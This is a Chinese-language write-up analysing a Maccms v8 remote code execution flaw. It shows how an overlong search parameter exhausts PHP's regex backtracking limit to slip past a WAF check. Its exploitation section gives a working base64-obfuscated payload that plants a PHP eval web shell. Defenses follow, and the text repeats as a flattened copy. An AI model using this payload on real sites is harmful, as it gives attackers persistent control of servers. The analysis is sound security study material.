maccms v8 80w 字符的 RCE 分析
字数 1461 2025-08-26 22:11:51

Maccms v8 80万字符RCE漏洞分析与利用教学

0x01 漏洞概述

Maccms v8存在一个通过正则回溯绕过安全防护的远程代码执行漏洞,攻击者可以通过构造超长字符串(约80万字符)触发PCRE回溯限制,绕过360 WAF防护,最终实现任意代码执行。

0x02 正则回溯原理

正则引擎类型

  1. DFA(确定型有穷自动机)

    • 线性时间执行,不回溯
    • 文本主导匹配
    • 不支持捕获组等高级特性
    • 示例:awk, egrep, MySQL等使用
  2. NFA(不确定型有穷自动机)

    • 正则表达式主导匹配
    • 支持回溯和高级特性
    • 最坏情况下性能较差
    • 示例:PHP, Java, Python, .NET等使用

回溯机制详解

回溯发生在NFA引擎中,当正则表达式匹配失败时,会回退到之前保存的状态尝试其他匹配路径。

示例1
正则:/.*?b/ 匹配字符串 "aab"

  1. .*? 非贪婪匹配,先尝试不匹配任何字符
  2. b 匹配失败
  3. 回溯:.*? 匹配一个字符'a'
  4. b 再次匹配失败
  5. 继续回溯直到匹配成功

示例2
正则:/UNION.+?SELECT/is 匹配 "UNION/panda/SELECT"

  1. 匹配"UNION"
  2. .+? 非贪婪匹配,尝试不匹配任何字符
  3. S 匹配'/'失败
  4. 回溯:.+? 匹配'/'
  5. S 匹配'*'失败
  6. 继续回溯直到匹配成功

PHP PCRE配置

PHP中有两个关键配置控制回溯行为:

  • pcre.backtrack_limit:默认100,000(PHP 5.2.0+)
  • pcre.recursion_limit:默认100,000(PHP 5.2.0+)

当回溯次数超过backtrack_limit时,正则匹配会失败而非返回匹配结果。

0x03 漏洞分析

漏洞利用链

  1. 通过POST请求传入超长wd参数
  2. 绕过360 WAF的正则检测
  3. 通过模板引擎的eval执行任意代码

关键代码分析

漏洞入口/index.php?m=vod-search

处理流程

  1. 参数通过be()函数处理,进行addslashes转义
  2. 进入chkSql()函数进行安全检测
  3. 绕过检测后进入模板处理$tpl->ifex()
  4. 最终在eval中执行代码

360 WAF绕过点

function StopAttack($StrFiltKey, $StrFiltValue, $ArrFiltReq) {
    if(preg_match("/".$ArrFiltReq."/is",$StrFiltValue)==1){
        chkShow();
    }
}

关键正则部分:

UNION([\s\S]*?)SELECT

通过构造超长字符串使回溯次数超过pcre.backtrack_limit,导致preg_match返回false而非1,从而绕过检测。

漏洞利用条件

  1. 使用非默认模板
  2. PHP版本兼容(某些版本可能无法利用)
  3. 能够发送超长POST请求(约80万字符)

0x04 漏洞利用

利用步骤

  1. 构造特殊格式的POST请求:

    POST /index.php?m=vod-search
    wd=union(80w个a){if-A:payload}{endif-A}
    
  2. Payload构造:

    • 必须包含{if-A:}{endif-A}
    • 实际代码放在if-A:后面
    • 示例:
      {if-A:print(fputs(fopen(base64_decode('Yy5waHA'),'w'),base64_decode('PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x')))}{endif-A}
      
      这会在当前目录创建c.php文件,内容为<?php @eval($_POST[c]); ?>1
  3. 发送请求时需要确保字符串长度足够触发回溯限制

注意事项

  1. 实际测试可能需要调整字符长度(原文80万不够可能需要1000万)
  2. 不同PHP版本行为可能不同
  3. 必须使用非默认模板才能触发漏洞

0x05 防御措施

  1. 升级到最新版本Maccms
  2. 修改PCRE配置限制:
    pcre.backtrack_limit=1000
    pcre.recursion_limit=1000
    
  3. 对输入长度进行严格限制
  4. 避免在模板引擎中使用eval等危险函数
  5. 使用更严格的正则表达式,避免使用.*?等易导致回溯的语法

0x06 参考链接

Maccms v8 80万字符RCE漏洞分析与利用教学 0x01 漏洞概述 Maccms v8存在一个通过正则回溯绕过安全防护的远程代码执行漏洞,攻击者可以通过构造超长字符串(约80万字符)触发PCRE回溯限制,绕过360 WAF防护,最终实现任意代码执行。 0x02 正则回溯原理 正则引擎类型 DFA(确定型有穷自动机) 线性时间执行,不回溯 文本主导匹配 不支持捕获组等高级特性 示例:awk, egrep, MySQL等使用 NFA(不确定型有穷自动机) 正则表达式主导匹配 支持回溯和高级特性 最坏情况下性能较差 示例:PHP, Java, Python, .NET等使用 回溯机制详解 回溯发生在NFA引擎中,当正则表达式匹配失败时,会回退到之前保存的状态尝试其他匹配路径。 示例1 : 正则: /.*?b/ 匹配字符串 "aab" .*? 非贪婪匹配,先尝试不匹配任何字符 b 匹配失败 回溯: .*? 匹配一个字符'a' b 再次匹配失败 继续回溯直到匹配成功 示例2 : 正则: /UNION.+?SELECT/is 匹配 "UNION/ panda /SELECT" 匹配"UNION" .+? 非贪婪匹配,尝试不匹配任何字符 S 匹配'/'失败 回溯: .+? 匹配'/' S 匹配'* '失败 继续回溯直到匹配成功 PHP PCRE配置 PHP中有两个关键配置控制回溯行为: pcre.backtrack_limit :默认100,000(PHP 5.2.0+) pcre.recursion_limit :默认100,000(PHP 5.2.0+) 当回溯次数超过 backtrack_limit 时,正则匹配会失败而非返回匹配结果。 0x03 漏洞分析 漏洞利用链 通过POST请求传入超长wd参数 绕过360 WAF的正则检测 通过模板引擎的eval执行任意代码 关键代码分析 漏洞入口 : /index.php?m=vod-search 处理流程 : 参数通过 be() 函数处理,进行addslashes转义 进入 chkSql() 函数进行安全检测 绕过检测后进入模板处理 $tpl->ifex() 最终在eval中执行代码 360 WAF绕过点 : 关键正则部分: 通过构造超长字符串使回溯次数超过 pcre.backtrack_limit ,导致 preg_match 返回false而非1,从而绕过检测。 漏洞利用条件 使用非默认模板 PHP版本兼容(某些版本可能无法利用) 能够发送超长POST请求(约80万字符) 0x04 漏洞利用 利用步骤 构造特殊格式的POST请求: Payload构造: 必须包含 {if-A: 和 }{endif-A} 实际代码放在 if-A: 后面 示例: 这会在当前目录创建c.php文件,内容为 <?php @eval($_POST[c]); ?>1 发送请求时需要确保字符串长度足够触发回溯限制 注意事项 实际测试可能需要调整字符长度(原文80万不够可能需要1000万) 不同PHP版本行为可能不同 必须使用非默认模板才能触发漏洞 0x05 防御措施 升级到最新版本Maccms 修改PCRE配置限制: 对输入长度进行严格限制 避免在模板引擎中使用eval等危险函数 使用更严格的正则表达式,避免使用 .*? 等易导致回溯的语法 0x06 参考链接 利用PCRE回溯限制绕过安全限制 PCRE官方文档 PHP安全编程指南